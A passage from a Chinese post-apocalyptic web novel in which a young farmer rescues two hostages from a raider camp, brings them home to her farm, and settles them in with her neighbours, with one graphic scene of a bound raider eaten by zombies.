身边的人发现不对劲试图逃跑,被一枪打中肩膀倒下,那人拿起枪不管不顾开始扫射,时枌早已撤到石头后边填充子弹,等到枪声停歇,才重新瞄准。
依旧是膝盖,手腕。
两人只能躺在地上咒骂,偏偏手脚全都不能动弹。
又等待了一段时间,确定没有再来人后,时枌才从石头后出来。
“是你?”刀疤脸死死盯着她,“就你一个人?你的同伙呢?!”
时枌并不想说话。
如果她不是一个人,而是有一个完整的小队来执行这个任务的话,就不会死这么多无辜的人。
刀疤脸没得到回应,目光又看向时枌身边的那个阳县女人,面容狰狞地骂着:“我好吃好喝供着你!你竟然背叛我们!婊子!白眼狼!”
白芳冷笑一声,举起枪。
被时枌拦下,“这样死太便宜他了。”
她看了看旁边已经断气的其他女人又跟白芳对了一眼,“让她们来吧。”
她们收拾好东西,离开营地,身后刀疤脸咒骂声不断。
时枌看着手表确认自己的位置,边走边对她们说:“我们得先走出森林,到马路上去,到时候有信号了我再联系人……如果饿了渴了跟我说,我还有营养液,需要休息我们就停下来,不着急的。”
“没关系,我们可以。”白芳说。
身边的糯糯也停止了哭泣,紧紧拉着白芳的手跟在她身边,一句话都不说,步伐却飞快,生怕自己掉队被丢下。
时枌给了她们水跟营养液,又给她们一人发了一片压缩饼干。
“这个暂时吃一点,不能多吃,怕你们突然吃太多撑到,慢慢来。”时枌说着,同时观察周围情况。
白狼的营地几乎死光了,但保护区外围的这座森林中也并不是只有他们这一个潜在的危险,野兽、其他的末世幸存者都是她们的威胁。
所以时枌想要在天亮的时候走出去,以免留在森林过夜。
三人一直不停歇往前走着,甚至没有力气说话,时枌发现糯糯嘴唇惨白后估摸着时间停下脚步,让她们喝水。
“不着急,天亮前能走出去。”
只是手表上信号依旧很弱,她无法跟其他人联系。
短暂的休息。
白芳喘着气,喝了口水缓一缓,看向时枌。
“阳县……怎么样了?”她低声问了句。
那天夜里突然无数丧尸涌进阳县,他们从前想来没见过那么多丧尸,丧尸推搡着挤压着,冲进了防护网,极短的时间内就攻占了阳县。
一开始白芳并不明白发生了什么,直到她被丧尸中的人抓走,连同其他女人一起被带到了这个营地。
从营地中其他人的对话中得知,丧尸是他们放的,他们披上丧尸的皮潜入阳县掠夺资源,——她们正是资源的一部分。
她也不知道自己被带出来多久,也不知道阳县情况如何。
她想着或许……或许还有人活着吧?她的丈夫她的孩子……
时枌默然,“阳县,已经没有活人了。”
白芳呼吸一滞。
但又很快垂下眼睛,似乎接受了这个现实。
“我跟我的保护区朋友们尽量区分了涌进来的丧尸跟阳县居民,丧尸被我处理掉了,阳县居民我们埋在了后山。”
“尸体太多,我们只有几个人,没办法一个个挖坑埋,就只能挖了个大坑一起埋了进去……”时枌觉得自己的喉咙越发干涩了。
不知道为什么,她此刻带着无限的愧疚。
白芳深深叹了口气,“你已经做的很好了。”
“不仅是阳县,今天也是。”
在营地中得知阳县遭遇后,白芳跟其他女人们早就放弃了生存,她们拒绝食物,拒绝喝水,试图用死亡来报复这群人,想着如果死了就互相隐瞒,直到转变成丧尸,或许还能拉几个一同陪葬,却偏偏苟延残喘到今天。
或许是命运,让她们再次遇到了时枌。
“你的农场呢?没事吧?”她隐约听见过他们商量去偷袭某个农场。
“他们来过,我的小猪死了一大半,鸡鸭也是,”时枌说这个的时候声音很低,因为她的这些损失跟她们相比似乎根本不值一提,“我是为了清除农场周围隐患才来的。”
“真可惜啊,当时我们还说等时枌农场猪生了崽,到时候今年冬天还能吃上更多猪肉……”白芳笑道。
糯糯也抬起头,一双大眼睛看着她们,仿佛又回到了那个受庇护、安稳的阳县。
她们没有停留太久,收拾东西继续赶路。
终于,看见了蜿蜒的马路。
柏油路上,一辆熟悉的越野车朝她们驶来。
白芳跟糯糯警惕地往后退,时枌认出是保护区的车,示意她们没关系。
车在她面前停下。
橙黄的落日在马路尽头降下,熊熊燃烧的火烧云翻滚着涌向地平线,今天最后的阳光将她们的影子不断拉长,再拉长。
驾驶座的男人降下车窗,对时枌道:“上车。”
***
太过安静。
不停地咒骂让刀疤脸口干舌燥,嗓子像是着了火,但这点不舒服跟身体上的伤相比似乎就显得渺小了起来。
他试图挪动自己的手,自己的脚,却发现除了疼痛再不能动作分毫。
他身边同样倒下的人已经放弃挣扎,满脸泪水等待着死亡降临。
刀疤脸死死咬着牙,他不肯就这样窝囊地死去。
在跟自己较劲时,时间已悄然流逝。
夜幕降临,营地内死去的女人们无声地、一个接着一个睁开了眼睛。
一双双灰白的眸子,喉咙间发出嗬嗬的动静。
身中数枪的女人以一个诡异地姿态用双手将自己从地面上支撑起来,脖子向右歪了一下,而后像是发现了目标一样,整个身体都兴奋起来,颤抖着,流着贪婪的口水。
新鲜血液的味道刺激了她仅剩的嗅觉。
她狞笑着,拖着残缺的身体朝他爬过来。
“草!滚!给老子滚——”
可他根本无法移动分毫。
只能眼睁睁看着女人爬过来,尖利的指甲撕开自己的肚皮,——这是丧尸进食时的首要目标,因为足够柔软,还有新鲜的内脏可以食用。
女人甚至将自己的脑袋都埋了进去,疯狂的撕咬着他的内脏。
很快,第二个也跟了过来,抱起他的一只胳膊从伤口处开始进食。
紧接着第三个、第四个……
他觉得自己像是被摆在餐桌上的食物,任人摆布,除了疼痛与哀嚎,就只能眼睁睁看着自己被她们分食。
不如死了。
他第一次觉得,活着,还不如立刻死去。
第47章 第47章他自己都觉得自己像个变……
“你的东西都在后备箱,现在是回农场还是怎么?”
她们已经上车,白芳带着糯糯坐在后座,时枌在副驾驶正在系安全带,身上的装备也暂时放到脚下,松了松筋骨,整个人放松不少。
听见他问话,时枌从后视镜看了看后座的两人,回道:“先回农场吧。”
好像是说按照任务流程她应该在任务结束后向上级进行汇报,但白芳跟糯糯还跟着她,而她在路上也问过两人的想法,她们更想回阳县,并不想去保护区注册身份。
可是阳县现在已经无法住人了,一个活人都没有,她们住进去太危险,时枌觉得她们可以像罗辉一家一样在她的农场附近定居,这样以后大家也能有个照应,白芳思考过后点了头。
赵弋顺着她的目光看了眼后视镜中的两人,明白了她们的选择,于是安静当个司机。
时枌有点累,但不困,这时才想起来问她:“你怎么知道我在这里?”
“有定位,我能看见。”他语气淡然,像是查人定位是件不值一提的小事。
可实际上,那晚宴会他整场都关注着时枌的定位,才在信号足够的时候第一时间发起通话申请,而今天亦是如此,漫长枯燥的会议中,他时不时看着她的定位,猜测着她的行动,直到看见她朝着马路前进,察觉到她已经完成任务准备撤离,于是第一时间申请了车辆亲自过来接人。
他自己都觉得自己像个变态。
所以并没有在这
个话题上长聊。
短暂沉默,困倦袭来,时枌打了个哈欠,说了句“我眯一会儿”就歪头睡着了。
从这里到时枌的农场其实并不远,尤其是在空旷的马路上,油门踩到底也不过是一个小时的时间。
很快一行人就在夜色中到达了时枌的农场。
乌漆嘛黑的,刚睡醒的时枌看着夜色中农场的轮廓,一时间思绪翻涌,心里安定下来,就像是一叶孤舟缓缓靠岸。
很快就跑过来一条大狗,冲到她的怀里狂摇尾巴扑腾着,紧接着又是一条扒住她另一条腿顶着飞机耳尾巴搅成螺旋桨。
时枌笑着摸虎子跟大熊毛茸茸的的脑袋,“好了好了,我回来了,安静一点。”
主人发话,虎子跟大熊很快就淡定下来,只是尾巴依旧高高竖起,低声呜汪了两声表达兴奋,眼睛也是亮亮的。
看它俩这状态就知道这几天罗辉没委屈它们。
赵弋已经去后备箱把她所有的东西都搬了下来,白芳跟糯糯也帮着搬,他们还没进屋,罗辉已经骑着马赶到。
“听见车声,又看见车往这边来,我就想着你是不是回来了,没吃晚饭吧?我带了点牛肉跟奶酪,垫垫肚子,还有一罐热牛奶……”罗辉笑着下马,取下马背上的东西,只是看见一行来的有四个人,心想自己带的食物是不是有点少,一下子不好意思起来。
看见白芳跟糯糯他也没多问,只是帮着把东西搬进屋。
进屋后,时枌互相介绍,“这是白芳跟糯糯,他们是阳县人,这是罗辉,池塘边的农场是他的,他养了很多牛羊还有马匹,这是赵弋,保护区的,我队长?好像大概是这样。”
“白芳跟糯糯要不要先洗个澡?一楼那个房间你们可以暂时住下,我去烧热水……哦对,你跟罗辉一起来?正好我做任务汇报。”
后半句是对赵弋说的。
白芳却说:“我去烧水吧,这点活我还是会干的,糯糯跟着我去烧水,你们聊正事。”
“那行,”时枌把罗辉带来的奶酪跟牛肉分给她们,“吃点吧,晚上就不开火做饭了。”
屋子内亮起蜡烛,一楼客厅餐桌上放着一支,一片昏黄中,时枌拉开长凳坐了下来,先给自己塞了块奶酪,吧唧吧唧嚼了半天才咽下去,然后开始汇报自己的任务。
用最简练的语言叙述完,然后问赵弋:“我该不会还要手写一份交上去吧?”
赵弋:“……不用。”
还是他写吧。
“但是之后需要去一趟保护区,”他说,“这个任务周期是一个半月,你可以等到最后一天再回去。”
“噢,也行。”
罗辉却在沉思,等他们聊完才开口,“这么说白狼没有死,那她应该是去找他们的大部队了。”
时枌也清楚这一点。
赵弋给她的任务资料里有这一部分背景介绍,Gypsy是一个庞大的部落群体,白狼所带领的这一支只相当于小狼成长独立后从族群分离出去的一部分,他们也会定期向更高级别的首领“上供”,只是听说他们这部分常年在外游荡,居无定所,保护区也不知道他们的具体位置,能不能碰上纯靠运气。
但据猜测,他们需要定期上供,所以是有他们内部自己的沟通方法的。
“是我没做好,我应该留下来审问的。”时枌说。
这一次任务对她来说充满了意外,接二连三的失手还有无辜死去的人质,都是因为她经验不足导致的,如果她当时能留下来审问那个刀疤脸,说不定会获得更多的情报。
“不用自责,保护区发布的任务首要目标是清理保护区周边的威胁,剩下的都是次要。”赵弋说。
其实坦白点说,比起人质,他们当然是更珍惜自己人。
收集情报也只能说是锦上添花,并不是任务必须的。
“我们不能放松警惕,”罗辉说,“白狼对阳县很不一般,她如果还活着迟早还会再来……我建议我们以后还是定期练枪,白芳她们也要加入进来,我们得有保护自己的能力。”
时枌点头表示赞同,“没错,威胁总是存在的。”
这时在厨房烧水的白芳站在门口,“我会用枪,你们放心。”
“我丈夫是军人,他教过我。”
提起丈夫,她脸上难得显现出一抹温柔。
“明天我就在附近看一看,找个房子住下来。”白芳继续道。
“如果你想回之前阳县的家看一看,明天我们开车送过去?拿点生活用品也是好的。”时枌说。
“嗯,麻烦你们了。”
她回去烧水了,时枌忽然凑过来低声对赵弋说:“车能留下来吗?要不你自己回去,车留给我吧?”
赵弋:“……”
说的是人话吗?车留下,让他自己走回去。
呵呵。
“车是申请下来的,到期要送回去。”保护区没有私人车一说,全部都是公家的,他们如果有需要得打申请才能用。
“那还有几天?”
“还有两天。”
“也行吧。”她撇撇嘴,一副勉为其难接受的样子。
聊完正事,时间也不早了,罗辉问她们还饿不饿,他再去送点食物过来,时枌跟白芳都拒绝了。
一来一回太麻烦,而且也很晚了。
“我这里还有食物呢,肉干香肠咸鸭蛋都有,正好开火了,我煮个面条也行,你先回去吧,最近多谢你照顾我的农场。”
“不用谢,你在外边比我更辛苦,哎,只是我家里有两个孩子,不然我也跟你一起去。”罗辉说。
他有妻子儿女,自然有了牵挂,没办法出去冒险。
送走罗辉,时枌又困又饿,只想赶紧好好洗个澡吃点东西再睡觉。
热水瓶里已经灌满了水,都是白芳跟糯糯在他们谈话期间灌的,时枌让她们先去洗澡,自己再烧水泡澡。
“你还是住原来的房间?”时枌问他。
“嗯。”赵弋跟着她进了厨房,“要泡澡?”
“嗯,累死了。”时枌打了个哈欠,“任务就不是人出的。”
他笑了起来,自动坐到灶口继续添柴,然后再自然不过地加水烧水。
“坐着吧,我来烧。”她说。
时枌反正也不想动,翻出红薯往灶里丢了五个,她两个,白芳糯糯跟赵弋一人一个,嗯,很完美。
她坐在灶口的小板凳上,一手撑着脑袋,脸颊被火光映得通红,一双昏沉的眼睛始终没闭上。
她这一身不知道多脏,又是血又是泥的,她一点也不想就这么倒头睡觉,更不想穿着这一身上楼踩脏她二楼的木地板,所以坚强地不肯睡。
“我帮你拎上去?”赵弋问她。
毕竟是要上楼,还是得征求主人的同意。
“好。”时枌看了眼灶膛里的烤红薯,似乎快好了,但她现在得去泡澡,于是看向他,“一会儿帮忙也把烤红薯送上来?”
看在她辛苦好几天做任务的份上,使唤使唤赵队没问题吧?
“行。”他很好说话地应下。
好说话到让时枌都恍惚。
赵队一直这么好说话吗?怎么今天她说什么他都好好好嗯嗯嗯,显得支使他好像是件很容易的事似的。
时枌搓了搓脸颊让自己
清醒清醒,拎着一桶热水上楼,赵弋跟在她后边,到了浴室把热水倒进浴缸。
“泡澡不需要一整缸热水,我会兑冷水的。”不然会烫死。
想起上次他给自己烧水,时枌就提了一句。
“哦,好的。”他今天热水又烧多了。
算了,一会儿自己洗吧。
干完活赵弋就带着空桶下去,时枌在浴室听着脚步声,确定他下楼了才锁上门,开始脱衣服。
作战服都是连体的,穿脱不是很方便,尤其是这个材质还比较僵硬,比寻常布料更贴身一些,时枌把泥泞的靴子放到一边,脱干净后把作战服也丢到一边,先用毛巾沾水简单清理了身体,对着镜子看了看有没有什么伤口。
作战服包裹的位置没有明显伤口,倒是手上有几道划痕,但是淤青却不少,比如后腰跟肩膀,估计是摔的,当时没什么感觉,这会儿看见伤口竟然疼了起来。
她还有个没开封的医疗包,应该有药能用吧?
时枌躺进浴缸,被水温刚刚好的热水包裹,头皮一阵酥麻,连同头发一起浸入,顿时感觉自己的灵魂都得到了洗涤。
第48章 第48章“是不是秦丰买的呀?”……
鉴于今天太累了,她就不洗衣服了。
美美泡了澡,又擦头发,顺手把脏衣服丢进泡澡水里先泡着,反正头发还没干,时枌闲着也是闲着,下楼后看见桌上放着两个红薯,还是温热,正好能吃。
她拿着红薯去敲白芳跟糯糯的门。
白芳还没睡,糯糯已经洗干净睡着了,就是身上的衣服还是旧衣服,时枌这才想起来她忘记给她们拿衣服换了。
“我有一些小时候的衣服糯糯应该能穿,你跟我一起上楼拿吧?哦对,你吃烤红薯了吗?我让赵弋给你们留的。”
“已经吃了,今天吃太多东西肚子都撑了,现在还睡不着呢。”白芳笑道。
她仔细清洗过,一张脸上依然有伤痕淤青,不过应该没问题,只要好好养养肯定是会恢复的,时枌想着,她们两人一定很久都没吃饱了,明天天亮她杀只鸡煮鸡汤大家一起喝,补补身体。
时枌吃完红薯,把楼梯旁边的物资往楼上搬,她一人搬不了,白芳帮她一起搬上去。
“这些都是我在保护区买的物资,衣服啊生活用品什么的,那边很齐全呢,诶,我好像没有买这么多吧?”时枌边走边嘀咕。
到了房间,她把东西放到一边,打开一个放旧衣服的衣柜,“你挑一下吧,我把包裹拆了。”
“好。”白芳这才过去挑衣服。
时枌坐在木地板上,披散着潮湿的长发,盘腿开始拆包裹。
她记得她自己买的东西都是包好的,那这里多出来的两个小包裹应该就是别人送的?
会是谁呢?时枌对自己包裹没啥兴趣了,干脆开那两个小一点的包裹。
第一个是纸箱装好的,打开里面有黑色塑料袋包着的软乎乎的东西,再拆开看发现里面是一包一包的卫生巾,时枌眼睛都瞪大了,想了想,应该是叶枝蔚买的。
“这个,是来月经的时候用的吗?”时枌拿起一包问旁边的白芳。
她是真的没见过这种。
“是啊,你朋友从保护区买来的?这东西比你平时用的更方便,用完就可以丢了,不用自己洗。”白芳说。
“啊,好方便啊。”
叶枝蔚虽然看上去冷淡,但其实很细心,连她自己都没注意到要买这个。
她自己平时用的都是奶奶教她做的月事带,奶奶给她做了特别多,平时就用棉花填充,其实挺不方便的。
时枌拿出一半给白芳,“你平时肯定也要用的,先拿着。”
白芳连忙摆手,“不用不用,我现在……用不上。”
时枌不明白她为什么用不上,她们都是女孩子,怎么会用不上呢?但白芳说完就继续挑衣服了,明显不想在这个话题上继续,时枌也就没有追问,继续清理自己的东西。
叶枝蔚除了买卫生巾,还给她买了一双冬天的手套,外皮是麂皮的,内里却是毛茸茸,格外柔软,适合冬天出门干活,还有一双厚实的雪地靴,毛茸茸的袜子,秋衣秋裤也有。
时枌都小心翼翼拿出来叠好放进衣柜。
弄完又看向另一个小包裹,这一个看上去就比较小了。
难道也是叶枝蔚买的吗?
那她花了不少积分吧。
下次去保护区她一定给叶枝蔚多带些好吃的,她喜欢吃奶酪,到时候她提前跟罗辉家换一些奶酪回来,时枌想着。
可是拆开包裹之后,却只看见了五颜六色的糖果。
一罐柠檬橘子味道橙色绿色白色的,一罐树莓蓝莓红色蓝色的,还有一罐全都是水蜜桃味道的。
这么多糖,能吃到她长虫牙了呢。
叶枝蔚好像也不会给她买这么多糖果吧?她记得叶枝蔚不太爱吃糖,身上也没有带糖果的习惯。
那是谁买的?
秦丰?还是新认识的周霓骨头张照照?
不知道,明天再问赵弋吧,他带过来的包裹,他应该清楚。
把糖果放到书桌上摆好,又把最大的包裹拆开,衣服跟物资一一整理好,时枌的头发都干了,白芳也帮着她叠衣服。
她在衣服里发现自己用来跟时枌交换食物的棉衣,抱着看了许久。
“这个我现在也穿不下了,一起给糯糯吧,你的个子比我高一点,不知道你能不能穿得下我的,这几件比较宽松……”时枌看她都是在给糯糯挑,一件都没给自己,忍不住提了一句。
“没关系,我家里有足够的衣服,明天我回家拿吧。”白芳说。
时枌想着也是,毕竟隔得时间不远,衣服应该还在。
“你好好休息,你厨房有食物的吧?明早……嗯,还是明天中午吧,我做饭,你下来吃就行,我手艺还不错的。”白芳抱着衣服笑道。
“好,厨房的东西你随便用,基本都是全的。”
白芳出去了,时枌也就锁门睡觉。
最近几天都没睡个好觉,感觉比自己做农活好累,做农活只是身体疲惫,但出任务是身体跟精神一起疲惫,她几乎沾床就睡。
梦里她在森林中奔跑,身后枪林弹雨,叶片划破脸颊,脚下枯枝差点将她绊倒,跑了一整晚,终于在熟悉的“鹅鹅鹅”声中被吵醒。
嗯,是她散养的那群鹅呢。
时枌翻了个身,毯子盖住脑袋又睡了过去,日上三竿才起床。
饱饱睡了一觉,神清气爽。
扎头发刷牙洗脸,换上舒适的衣服刚准备下楼,就看见浴缸里泡着血腥的作战服……
就,很不想洗。
算了,时枌把浴缸的水放了,作战服拧巴拧巴,装进水桶拎下楼,打算吃完饭再用水管冲洗。
一楼厨房已经传来做饭的动静,莫名让人很安心,尤其是那股熟悉的饭菜香。
听见她下楼,白芳从厨房探出头,“午饭青椒炒香肠,咸鸭蛋,炒土豆,番茄蛋汤,我还焖了米饭应该足够吧?”
“够啦。”
“你拎的是什么?脏衣服吗?留给我吧,一会儿我也要洗衣服的。”
“不用不用,这个简单冲一下就行。”
白芳也没勉强,继续回厨房做饭了。
时枌哼着歌把水桶拎到外院水龙头下,接清水先泡一泡,看见赵弋在那辆越野车旁边,手里捏着个抹布,脚边一个水桶。
昨晚她们三个刚从林子里钻出来,时枌更是一身的血,车里面肯定脏的不行,赵队果真勤快,一早上起床就在洗车呢。
饭菜还没好,时枌就凑过去看他洗车。
赵队干活格外赏心悦目。
尤其是他现在不是穿着作战服,而是一身简单的白衬衣黑裤,脚上踩着双军靴,袖子卷到手肘,略长的刘海低头时会遮住眉眼,给这人极具攻击性的长相增添了几分柔和,——看着没那么生人勿近了。
干活的时候弯腰进车擦车内座椅,白衬衣紧绷着显露出衣下的肌肉,被一截黑色皮带扎紧收腰,再之后是挺翘的……
周霓说的不错诶,赵队屁股是蛮翘的。
“一会儿吃完饭送我们去趟阳县,然后你就可以回保护区了。”时枌开心道,“我这次任务能赚多少积分啊?”
她只接收到了任务资料,任务酬劳是在申请时候才能看到的,所以她并不知道这个任务积分会有多少,昨天也没想着问他,今天早起头脑清醒才记起来。
“人质……死了很多,是不是也会扣除部分积分?”说到着她又觉得心里闷闷的。
“任务主要目标是清理,不是拯救人质,所以并不影响积分奖励。”
“哦,那如果……”时枌想起自己脑子里一直盘旋不去的问题,“我是说如果是一个完整的小队,是不是情况就不会像我这次一样糟糕?”
赵弋将手里的抹布放到车头,抬眼看着她,自然也发现了她低迷的情绪 ,“我并不会安慰人,只陈述事实的话,就算是我的小队,我也无法保证能完整救出人质。”
“根据以往保护区跟Gypsy这群人接触的经验来看,在得知我们是保护区的队伍之后,他们百分百会利用人质威胁阻碍我们行动,我们队员当然也会犹豫,但从概率上说,犹豫,只会造成我们自身的伤亡,而人质并不会因为我们的伤亡而活下来。”
“你也没必要因为这件事自责,没办法救所有人,是所有新人学的第一课。”
时枌似乎是觉得好受些了。
这对她来说其实并没有很难接受,毕竟她也独自生活这么多年,农场来来往往不少人,但骨子里的柔软总是格外折磨人,得到同伴的安慰后终于得以缓解。
“时枌!吃饭了!”
白芳在叫她。
“走吧,先吃饭。”时枌对他说。
赵弋洗了洗手,跟在她旁边往屋子去。
“你车里包裹是不是多了两个?一个我知道应该是叶枝蔚送我的,那另一个装了三罐糖是谁买的啊?”
赵弋愣了一下,没有第一时间回应。
时枌就说出了自己的猜测:“是不是秦丰买的呀?”
赵弋沉默。
“看来我也没白给他杀猪嘛,给我买了三罐糖,好多口味,牙都得吃坏吧,不过我这边小孩子也多,到时候能分给烈烈阳阳还有糯糯吃……小孩子应该更喜欢吃这个……诶,你们保护区也有食物,那是不是代表你们也有自己的农场?”
赵弋深吸一口气平复心情,然后一个个回复她的问题。
“是秦丰买给你的,保护区有农场,但是是在政府管辖下的,居民可以在里面工作换取积分。”
“那西芹是不是也可以去工作?”时枌问。
“不太可能,”赵弋说,“农场工作相对轻松,一般这种工作机会早就被抢光了,普通人拿不到去农场工作的资格。”
时枌失望地叹了口气,也没继续问了。
第49章 第49章要不我来?
白芳做的饭菜口味偏淡,但是也很好吃,尤其糯糯,她已经埋头干了两碗米饭了。
糯糯到现在也没开口说过话,时枌吃饭时观察她也没发现什么不对劲,等吃完她偷偷去问白芳。
“之前是会说话的,后来她被营地里的那群人……可能是太害怕吧。”
时枌了然,“也行,不说话就不说话吧,要不我一会儿烤点面包,你带着她送去给罗辉一家,他们家有两个小孩,哥哥叫烈烈,妹妹叫阳阳,可以先认识一下。”
“行,我帮你一起吧。”
“用不了那么多人,你带糯糯去摘草莓,一会面包里用上。”
“好。”
时枌洗了手,卷起袖子,从柜子里拿出酵母看了看,又闻了闻味道,反正没坏,能用,就按照秦丰说的,取出来一半,再加面粉跟水进去搅和喂养,放回原位。
秦丰给的配方是最简单也最适合她现在情况的,比例都写的清清楚楚,甚至都是用“一勺两勺”这种计量单位,时枌照着做就行。
面粉和好,白芳跟糯糯进来厨房,带着一篮子新鲜的草莓,最近时枌不在家,家里的草莓又成熟了不少,白芳帮她清洗草莓切成小块,再丢进面团继续搅和,然后趁着发酵,时枌去把土窑烧起来。
白芳之前倒是做过面包,不过那都是末世前的事了,那时候还有电还有烤箱,她甚至有一个厨师机,做面包很方便,但是用这种土窑做面包还是头一回,问了时枌之后就跟着学,糯糯像她身后的小尾巴一样一直跟着她们。
等土窑烧好,面包也发酵好了,时枌就把面团分出来,放到托盘上,送进土窑。
接下来就是等待。
“大概烤个三十分钟就行了。”时枌用手表定时。
糯糯没有手表,她也不知道三十分钟到底是多长,所以从面包送入土窑开始她就趴在土窑旁边,聚精会神地隔着土窑门口的缝隙试着观察里面面包的模样。
“不要用手碰哦,会烫伤的。”时枌提醒她。
糯糯认真点了点头,转头又去盯土窑。
罗辉家的小女儿阳阳脸蛋胖乎乎的,看上去身体也壮实些,一看就知道在家里吃喝不愁。
糯糯就是另一种了,她瘦瘦小小,脸颊上似乎也没什么肉,显得一双大眼睛有些吓人,胳膊腿也瘦得像竹竿,穿着一条时枌小时候的白色南瓜花纹的裙子,裙子也显得空荡荡,看着怪可怜的,需要好好养一养,时枌想着,到时候去跟罗辉家多换一些牛羊肉来,哦对,今天还得熬鸡汤。
时枌跟白芳说了,两人去做准备。
时枌抓鸡,白芳去倒热水准备拔毛。
鸡栏被挪到了铁丝网外边,时枌得走一段路才能到,出去时看见刚开车回来的赵弋,两人对了个眼神算是打招呼,时枌也不知道他去干啥了,但是想起厨房白芳还给他备了饭菜,就把人叫住。
“厨房有饭菜,你自己吃吧,”时枌说,“一会儿我们鸡汤熬上回去阳县搬东西?”
“嗯,可以。”
简单一个照面,时枌去抓鸡,赵弋去了厨房。
他今天一早出门也不是闲着没事干出去晃悠,既然都出来了,顺便做个阳县周边调查也很方便,所以一早他就起床开车在这附近逛了一圈,拍照,准备资料,在外边还顺便把时枌这次任务的任务总结写完了上传,打了一个线上汇报的申请,但还没批下来。
一般这种驻外人员完成任务是可以做线上任务汇报的,也更方便,最近可能是东区比较忙,申请才没下来。
厨房锅里热着饭菜,赵弋并不饿,但别人特地留了,他不吃会显得很没素质,于是拿起温热的碗在厨房边吃完,白芳倒完热水进厨房烧水顺便问了句他味道怎么样。
赵弋:“可以,时枌呢?”没看见她进屋。
“在后院杀鸡呢。”白芳将水壶里接好水重新放回炉子上就出去了。
赵弋吃完饭洗了碗,想了想,还是打算去后院帮忙。
不知道为什么,一到这个地方他就忍不住想给自己找事干。
仿佛清闲是一种罪过。
大概是之前被奴役七天留下的后遗症吧。
他到后院的时候,他们已经热火朝天给鸡拔起了毛。
这活当初秦丰在的时候都要留给细心的叶枝蔚来干,因为拔毛费神,还得仔细,只有经叶枝蔚的手秦丰才放心,至于时枌,她似乎比较讨厌这种活,向来能避就避。
这会儿她坐在小板凳上,秀气的眉毛皱了起来,唇抿成一线,如临大敌般给鸡拔毛。
白芳:“要不我来吧,你歇一会儿看看面包烤好了没。”
白芳来了农场什么活都抢着干,一早上把脏衣服洗了,地也扫了拖了,桌椅板凳都擦了一遍,厨房也擦了一遍,整个屋子都闪闪发光,要不是不方便上二楼,她早就把二楼里里外外都收拾了一遍。
时枌当然不好意思让她拔鸡毛,只说:“你要不挑几根漂亮的羽毛留着给糯糯做毽子玩?”
也能给她找件事干。
白芳回去挑羽毛了。
时枌拔毛拔得内心狂躁,她是真不爱干这活儿,满不耐烦地抬头一看,正好对上赵弋的目光。
时枌福至心灵般通透了,眨眨眼,释放信号。
赵弋觉得自己好像理解了她要表达什么,但语气依旧迟疑地开口:“……要不我来?”
“好啊!正好给你练练手!我去看看面包烤得怎么样了!”时枌语气是掩不住的兴奋。
赵弋:“……”
果然。
被拔了半边毛的鸡丢到了赵队手里,赵队坐上小板凳,心情复杂地开始揪鸡毛。
时枌欢欢喜喜去看面包,手表显示半小时快到了,她掐了计时,打开土窑看了看面包状态,似乎还不错,就都拿了出来,顿时一片热乎乎的面包香味散开。
白芳拿来篮子,挑了一半装进篮子,又留了一个给糯糯。
白芳将糯糯的那个面包放在篮子最上边,看她仍然盯着面包
看,解释道:“放心,一会儿晾凉了再给你吃,我们先去罗辉家见见其他人。”
糯糯乖巧点了点头。
三人出发去罗辉家,面包路上就差不多晾好了,没那么烫,糯糯两手捧着面包,小口咬下一块,松软香甜。
“这边池塘里面有很多鱼,到时候你们要是想吃可以来钓,或者下地笼。”经过池塘的时候时枌给她们介绍着。
到了罗辉家门口,时枌叫了两声,就听见脚步声。
罗辉家似乎又变了模样,屋子外的一圈院墙重新加固,种下了两棵小桃树看上去也成活了,院内的菜地也井井有条,都发了芽,嫩绿的小芽看起来生命力蓬勃。
“又送面包啊,阳阳又要馋了。”罗辉笑着迎他们进屋。
听见有人进来烈烈跟阳阳也跑了出来,兄妹俩满脸好奇看着跟他们差不多年纪的糯糯。
白芳替他们互相作了介绍,“糯糯现在不会说话,但是能听懂。”
胖乎乎的阳阳拿到了自己的面包,对跟自己差不多年纪的小女孩格外亲近,一手捏着面包,一手去拉糯糯,“我带你去看我的小马!还有给时枌姐姐的小马,我爸爸正在教它。”
糯糯有些戒备,抬头看向白芳。
白芳摸摸她脑袋,“没事,她很好,不会伤害你的,跟她去玩吧。”
烈烈也说:“我会保护你们的!放心吧!”
小孩成群去看小马了,时枌也羡慕,她要是再年轻十岁也能跟他们一起玩,可惜她长大了,得跟大人们一起聊大人的事。
刚刚阳阳提起小马,罗辉就解释了一句,“你的小马我还在训,不过你回来了也该把它接回去了,可以跟它先培养培养感情,到时候怎么训我再慢慢教你。”
“好啊。”
有了马她以后出门也更方便了,而且,那是小马诶!多可爱啊!
还能骑!
说话间余袅也从屋内出来跟他们打招呼,看见白芳后得知她是被时枌从白狼营地里救出来的后有些惊讶,“那白狼呢?”
“跑了。”时枌说,“是我疏忽了,本来可以杀了她……”
那时候情况复杂,她首先想的是救人,没太关注白狼那边,还差点被白狼偷袭,结果人没救下来,白狼也跑了,哎,也是她经验不足。
“没事,跑了就跑了吧,她整个营地的人都死了,短时间内应该也不会再回来。”罗辉说。
余袅也安慰时枌:“是的,我们现在安全了,白芳是不是也要在这边定居?选好哪一个房子了吗?我可以帮忙收拾。”
“我们今天一会儿去阳县我之前的家拿些东西,回来我再看看这附近的房子……”
几人闲聊几句,时枌跟白芳就告辞回去了。
得趁着熬鸡汤的时间去阳县一趟,回来正好能喝上。
糯糯跟阳阳玩的不错,白芳询问过她后把她留在了罗辉家,她们去阳县搬东西。
回家赶紧把鸡汤炖上,三人坐车出发。
时枌想开车,赵弋就坐上了副驾驶。
“一辆车够不够?要不跑两趟?反正你以后也不会再来阳县了吧?”时枌开着车,倒是很自在,还跟后座白芳闲聊,只是车内一直有滴滴的声音,“怎么一直响?是不是车出故障了?”
赵弋:“你看一眼显示屏。”
“所以呢?有个被勒死的红色小人在闪。”
赵弋:“……那是在提醒你你没系安全带。”
时枌故作镇定,:“哦,你不早说。”
然后系上了安全带。
可是还是有滴滴声。
时枌:“怎么还有?”
赵弋默默系上了自己的安全带。
时枌:“呵呵。”
第50章 第50章那你这个高级指挥官当的……
阳县。
时枌也记不太清她是第几次到阳县了。
白芳比她更熟悉这里,进入阳县之后都是她在指路,车开入街道,两边是居民楼,一般一楼是商铺,此时已经灰尘遍地,一片荒芜,没有丝毫人气。
白芳印象中丧尸横行的阳县突然变了模样,下车时她还有些恍惚。
“你们清理的……真干净啊。”
如果不是地面跟墙上的血迹和骨肉痕迹,她甚至都以为尸潮从未发生。
时枌闻言摸了摸鼻子,解释道:“我的农场需要大量的肥料,一般我会把丧尸烧了,骨头碾成灰,来当肥料用。”
